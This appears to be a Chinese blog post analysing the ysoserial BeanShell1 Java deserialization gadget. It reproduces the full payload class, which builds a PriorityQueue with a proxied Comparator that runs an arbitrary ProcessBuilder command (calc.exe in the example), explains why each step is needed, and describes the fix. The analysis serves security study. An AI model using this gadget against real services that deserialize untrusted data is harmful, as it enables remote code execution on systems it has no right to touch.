版本
<!-- https://mvnrepository.com/artifact/org.beanshell/bsh (beanshell1)-->
<dependency>
<groupId>org.beanshell</groupId>
<artifactId>bsh</artifactId>
<version>2.0b5</version>
</dependency>
用法
beanshell可以指向Java代码:
package com.kiwi.beanshell;
import bsh.EvalError;
import bsh.Interpreter;
public class BeanShellExample {
public static void main(String[] args) {
Interpreter interpreter = new Interpreter();
try {
// 执行BeanShell脚本
interpreter.eval("int a = 3; int b = 4; int sum = a + b; System.out.println(sum);");
} catch (EvalError evalError) {
evalError.printStackTrace();
}
}
}
分析
yso给的payload,将其分成三部分:
package ysoserial.payloads;
import bsh.Interpreter;
import bsh.XThis;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Arrays;
import java.util.Comparator;
import java.util.PriorityQueue;
import ysoserial.Strings;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
@Dependencies({"org.beanshell:bsh:2.0b5"})
@Authors({"pwntester", "cschneider4711"})
public class BeanShell1 extends PayloadRunner implements ObjectPayload<PriorityQueue> {
public BeanShell1() {
}
public PriorityQueue getObject(String command) throws Exception {
String payload = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" + Strings.join(Arrays.asList(command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\\"").split(" ")), ",", "\"", "\"") + "}).start();return new Integer(1);}";
Interpreter i = new Interpreter();
i.eval(payload);
XThis xt = new XThis(i.getNameSpace(), i);
InvocationHandler handler = (InvocationHandler)Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
Comparator comparator = (Comparator)Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler);
PriorityQueue<Object> priorityQueue = new PriorityQueue(2, comparator);
Object[] queue = new Object[]{1, 1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);
return priorityQueue;
}
public static void main(String[] args) throws Exception {
PayloadRunner.run(BeanShell1.class, args);
}
}
第一部分
String payload = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{"
+
Strings.join(Arrays.asList(command.replaceAll("\\\\", "\\\\\\\\")
.replaceAll("\"", "\\\"").split(" ")), ",", "\"", "\"")
+
"}).start();return new Integer(1);}";
// compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{"calc.exe"}).start();return new Integer(1);}
Interpreter i = new Interpreter();
i.eval(payload);
主要是构造了payload
然后调用eval
进行执行。
第二部分
// 动态代理获得了增强对象comparator
XThis xt = new XThis(i.getNameSpace(), i);
// 获取invocationHandler的值
Field invocationHandler = Reflections.getField(xt.getClass(), "invocationHandler");
InvocationHandler handler = (InvocationHandler)invocationHandler.get(xt);
Comparator comparator = (Comparator)Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler);
使用了动态代理,获取了invocationHandler
的值,然后进行增强得到了comparator
,主要是为了传递comparator。
第三部分
PriorityQueue<Object> priorityQueue = new PriorityQueue(2, comparator);
Object[] queue = new Object[]{1, 1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);
主要是apache common collections 2当中的一部分。
总流程分析
从CC2当中开始,readObject
->heapify
->siftDown
->siftDownUsingComparator
将PriorityQueue当中的siftDownUsingComparator
当中的comparator.compare(x, (E) c) <= 0
中的comparator
的调用修改为payload当中的compare
的调用。
详细分析
1、 第一部分放到后面说。
2、 实例化XThis对象,核心部分在i.getNameSpace()
,这里需要科普一下:
当你通过动态代理对象调用任何方法时,invoke 方法会被调用。这是 Java 动态代理机制的核心部分。具体来说,当你调用代理对象上的任何方法时,Java 的反射机制会将调用转发到 InvocationHandler 的 invoke 方法。
恰好,在XThis当中实现了InvocationHandler
接口,所以会执行XThis下的invoke与invokeImpl方法,这里和正常的动态代理开始相似。
3、 为什么要实例化数据类型为Comparator
的对象?
在总流程分析当中,可以看到,将comparator替换为我们自己的对象,就可以调用我们自己的compare方法。
4、 第四部分为什么???
Object[] queue = new Object[]{1,2};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);
最有疑问的是这三行,这三行主要是修改了queue的值为{1,2},修改size的值为2。
如果不进行修改size的值,那么int i = (size >>> 1) - 1
的值为-1,无法进入循环。
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
至少将size的值修改为2,i的值才可以为0,但是实际上运行后是会报错的,报错在:
java.util.PriorityQueue#writeObject
for (int i = 0; i < size; i++)
s.writeObject(queue[i]);
queue默认有一个空元素,导致第二次写入时越界,所以queue必须至少有两个元素。
5、 回到第一部分,为什么payload需要构造为:
compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{"calc.exe"}).start();return new Integer(1);}
原因在(java.util.PriorityQueue#siftDownUsingComparator):
if (comparator.compare(x, (E) c) <= 0)
break;
当comparator修改为我们替换的对象后,调用的对应对象当中的compare,最后return 1的目的时为了使得上面的代码与0比较时,有一个值。
修复
直接去掉了Handler能够被序列化的接口,也就是InvocationHandler
无法被序列化,导致comparator
无法被序列化,使得priorityQueue
无法被序列化。
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)